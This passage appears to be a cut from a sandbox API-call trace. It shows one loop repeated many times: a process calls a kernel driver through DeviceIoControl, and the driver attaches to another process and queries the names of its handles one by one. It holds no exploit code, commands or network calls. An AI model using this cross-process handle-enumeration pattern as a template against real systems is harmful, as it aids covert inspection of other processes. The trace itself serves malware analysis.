dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.464] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.464] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0104.464] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.464] PsAcquireProcessExitSynchronization () returned 0x0 [0104.464] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0) [0104.464] ObReferenceObjectByHandle (in: Handle=0x24c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80032ff070, HandleInformation=0x0) returned 0x0 [0104.464] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.464] PsReleaseProcessExitSynchronization () returned 0x2 [0104.464] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb6 [0104.464] ObQueryNameString (in: Object=0xfffffa80032ff070, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.464] ObfDereferenceObject (Object=0xfffffa80032ff070) returned 0x2 [0104.464] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.464] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.464] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.464] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0104.464] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.464] PsAcquireProcessExitSynchronization () returned 0x0 [0104.464] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0) [0104.464] ObReferenceObjectByHandle (in: Handle=0x250, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f7abd0, HandleInformation=0x0) returned 0x0 [0104.464] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.464] PsReleaseProcessExitSynchronization () returned 0x2 [0104.465] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb6 [0104.465] ObQueryNameString (in: Object=0xfffffa8002f7abd0, ObjectNameInfo=0xfffffa8002821044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002821044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.465] ObfDereferenceObject (Object=0xfffffa8002f7abd0) returned 0x1 [0104.465] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.465] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.465] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.465] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.465] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.465] PsAcquireProcessExitSynchronization () returned 0x0 [0104.465] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0) [0104.465] ObReferenceObjectByHandle (in: Handle=0x2a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0104.465] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.465] PsReleaseProcessExitSynchronization () returned 0x2 [0104.465] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb6 [0104.465] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.465] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0104.465] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.465] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.465] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.465] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.465] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.465] PsAcquireProcessExitSynchronization () returned 0x0 [0104.465] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0) [0104.465] ObReferenceObjectByHandle (in: Handle=0x2a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0104.465] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.465] PsReleaseProcessExitSynchronization () returned 0x2 [0104.465] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb6 [0104.465] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8002650044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002650044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.465] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0104.465] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.465] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.466] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.466] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0104.466] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.466] PsAcquireProcessExitSynchronization () returned 0x0 [0104.466] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0) [0104.466] ObReferenceObjectByHandle (in: Handle=0x420, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003431070, HandleInformation=0x0) returned 0x0 [0104.466] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.466] PsReleaseProcessExitSynchronization () returned 0x2 [0104.466] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb6 [0104.466] ObQueryNameString (in: Object=0xfffffa8003431070, ObjectNameInfo=0xfffffa8002835044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002835044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.466] ObfDereferenceObject (Object=0xfffffa8003431070) returned 0x1 [0104.466] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.466] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.466] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.466] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0104.466] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.466] PsAcquireProcessExitSynchronization () returned 0x0 [0104.466] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0) [0104.466] ObReferenceObjectByHandle (in: Handle=0x42c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800342da70, HandleInformation=0x0) returned 0x0 [0104.466] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.466] PsReleaseProcessExitSynchronization () returned 0x2 [0104.466] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb6 [0104.466] ObQueryNameString (in: Object=0xfffffa800342da70, ObjectNameInfo=0xfffffa80025ff044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025ff044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.466] ObfDereferenceObject (Object=0xfffffa800342da70) returned 0x2 [0104.466] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.466] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.466] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.466] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0104.466] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.466] PsAcquireProcessExitSynchronization () returned 0x0 [0104.466] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0) [0104.467] ObReferenceObjectByHandle (in: Handle=0x510, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800352fd10, HandleInformation=0x0) returned 0x0 [0104.467] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.467] PsReleaseProcessExitSynchronization () returned 0x2 [0104.467] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb6 [0104.467] ObQueryNameString (in: Object=0xfffffa800352fd10, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.467] ObfDereferenceObject (Object=0xfffffa800352fd10) returned 0x1 [0104.467] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.467] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.467] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.467] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xc6, lpOverlapped=0x0) returned 1 [0104.467] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.467] PsAcquireProcessExitSynchronization () returned 0x0 [0104.467] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0) [0104.467] ObReferenceObjectByHandle (in: Handle=0x520, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800352d3b0, HandleInformation=0x0) returned 0x0 [0104.467] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.467] PsReleaseProcessExitSynchronization () returned 0x2 [0104.467] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb6 [0104.467] ObQueryNameString (in: Object=0xfffffa800352d3b0, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.467] ObfDereferenceObject (Object=0xfffffa800352d3b0) returned 0x1 [0104.467] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.467] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.467] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.467] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0104.467] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.467] PsAcquireProcessExitSynchronization () returned 0x0 [0104.467] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0) [0104.467] ObReferenceObjectByHandle (in: Handle=0x524, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0019c4700, HandleInformation=0x0) returned 0x0 [0104.467] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.468] PsReleaseProcessExitSynchronization () returned 0x2 [0104.468] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb6 [0104.468] ObQueryNameString (in: Object=0xfffff8a0019c4700, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.468] ObfDereferenceObject (Object=0xfffff8a0019c4700) returned 0x1 [0104.468] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.468] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.468] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.468] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xc6, lpOverlapped=0x0) returned 1 [0104.468] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.468] PsAcquireProcessExitSynchronization () returned 0x0 [0104.468] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0) [0104.468] ObReferenceObjectByHandle (in: Handle=0x534, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80028d9070, HandleInformation=0x0) returned 0x0 [0104.468] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.468] PsReleaseProcessExitSynchronization () returned 0x2 [0104.468] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb6 [0104.468] ObQueryNameString (in: Object=0xfffffa80028d9070, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.468] ObfDereferenceObject (Object=0xfffffa80028d9070) returned 0x1 [0104.468] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.468] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.468] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.468] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0104.468] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.468] PsAcquireProcessExitSynchronization () returned 0x0 [0104.468] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0) [0104.468] ObReferenceObjectByHandle (in: Handle=0x53c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0016d24a0, HandleInformation=0x0) returned 0x0 [0104.468] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.468] PsReleaseProcessExitSynchronization () returned 0x2 [0104.468] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb6 [0104.468] ObQueryNameString (in: Object=0xfffff8a0016d24a0, ObjectNameInfo=0xfffffa80024f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.468] ObfDereferenceObject (Object=0xfffff8a0016d24a0) returned 0x1 [0104.468] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.468] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.468] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.469] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0104.469] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.469] PsAcquireProcessExitSynchronization () returned 0x0 [0104.469] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0) [0104.469] ObReferenceObjectByHandle (in: Handle=0x548, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80035908c0, HandleInformation=0x0) returned 0x0 [0104.469] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.469] PsReleaseProcessExitSynchronization () returned 0x2 [0104.469] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb6 [0104.469] ObQueryNameString (in: Object=0xfffffa80035908c0, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.469] ObfDereferenceObject (Object=0xfffffa80035908c0) returned 0x1 [0104.469] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.469] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.469] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.469] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0104.469] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.469] PsAcquireProcessExitSynchronization () returned 0x0 [0104.469] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0) [0104.469] ObReferenceObjectByHandle (in: Handle=0x55c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003409d00, HandleInformation=0x0) returned 0x0 [0104.469] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.469] PsReleaseProcessExitSynchronization () returned 0x2 [0104.469] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb6 [0104.469] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.469] ObfDereferenceObject (Object=0xfffffa8003409d00) returned 0x1 [0104.469] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.469] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.469] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.469] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0104.469] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.469] PsAcquireProcessExitSynchronization () returned 0x0 [0104.469] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0) [0104.469] ObReferenceObjectByHandle (in: Handle=0x570, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003571970, HandleInformation=0x0) returned 0x0 [0104.469] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.470] PsReleaseProcessExitSynchronization () returned 0x2 [0104.470] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb6 [0104.470] ObQueryNameString (in: Object=0xfffffa8002860900, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.470] ObfDereferenceObject (Object=0xfffffa8003571970) returned 0x1 [0104.470] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.470] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.470] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.470] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0104.470] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.470] PsAcquireProcessExitSynchronization () returned 0x0 [0104.470] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0) [0104.470] ObReferenceObjectByHandle (in: Handle=0x58c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003c36ce0, HandleInformation=0x0) returned 0x0 [0104.470] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.470] PsReleaseProcessExitSynchronization () returned 0x2 [0104.470] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb6 [0104.470] ObQueryNameString (in: Object=0xfffffa8002860900, ObjectNameInfo=0xfffffa800250f044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800250f044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.470] ObfDereferenceObject (Object=0xfffffa8003c36ce0) returned 0x1 [0104.470] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.470] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.470] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.470] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0104.470] 